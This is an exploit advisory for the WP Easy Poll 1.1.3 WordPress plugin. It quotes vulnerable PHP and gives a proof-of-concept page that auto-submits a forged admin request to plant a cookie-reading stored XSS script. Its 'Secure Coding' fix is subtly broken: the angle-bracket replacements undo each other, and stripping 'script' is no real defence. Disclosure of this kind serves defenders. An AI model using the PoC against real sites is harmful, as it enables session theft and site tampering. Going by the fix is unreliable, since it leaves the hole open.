WordPress Plugin WP Easy Poll 1.1.3 – Cross-Site Scripting / Cross-Site Request Forgery
Exploit Title: WP Easy Poll 1.1.3 XSS and CSRF Exploit Author : Ahn Sung Jun Date : 2015-12-09 Vendor Homepage : https://wordpress.org/plugins/wp-easy-poll-afo/ Software Link : https://downloads.wordpress.org/plugin/wp-easy-poll-afo.1.1.3.zip Version : 1.1.3 Tested On : kail linux Iceweasel =========================================== Vulnerable Code : wp_easy_poll.php if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){ global $wpdb; $pc = new poll_class; /* Line 859 */ $insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']); $wpdb->insert( $wpdb->prefix.$pc->table, $insert ); $new_poll_id = $wpdb->insert_id; $p_anss = $_REQUEST['p_anss']; if(is_array($p_anss) and $new_poll_id){ foreach($p_anss as $key => $value){ if($value != ''){ $insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1); $wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 ); } } } =========================================== POC (XSS & CSRF) <html> <body onload="javascript:document.forms[0].submit()"> <form name="f" action="http://192.168.0.8/wordpress/wp-admin/admin.php?page=easy_polls&action=add" method="post"> <input type="hidden" name="action" value="p_add" /> <input type="hidden" name="p_ques" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="p_start" id="p_start" value="2015-11-18 22:55:52" required="required" /> <input type="hidden" name="p_end" id="p_end" value="2015-11-20 09:00:00" required="required"/> <input type="submit" name="submit" value="Submit" class="button" /> </form> </html> =========================================== Secure Coding if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){ global $wpdb; $pc = new poll_class; /* Secure Coding */ $_REQUEST['p_ques'] = str_replace("script", "x-script", $_REQUEST['p_ques']); $_REQUEST['p_ques'] = str_replace("<", ">", $_REQUEST['p_ques']); $_REQUEST['p_ques']= str_replace(">" ,"<", $_REQUEST['p_ques']); $insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']); $wpdb->insert( $wpdb->prefix.$pc->table, $insert ); $new_poll_id = $wpdb->insert_id; $p_anss = $_REQUEST['p_anss']; if(is_array($p_anss) and $new_poll_id){ foreach($p_anss as $key => $value){ if($value != ''){ $insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1); $wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 ); } } } |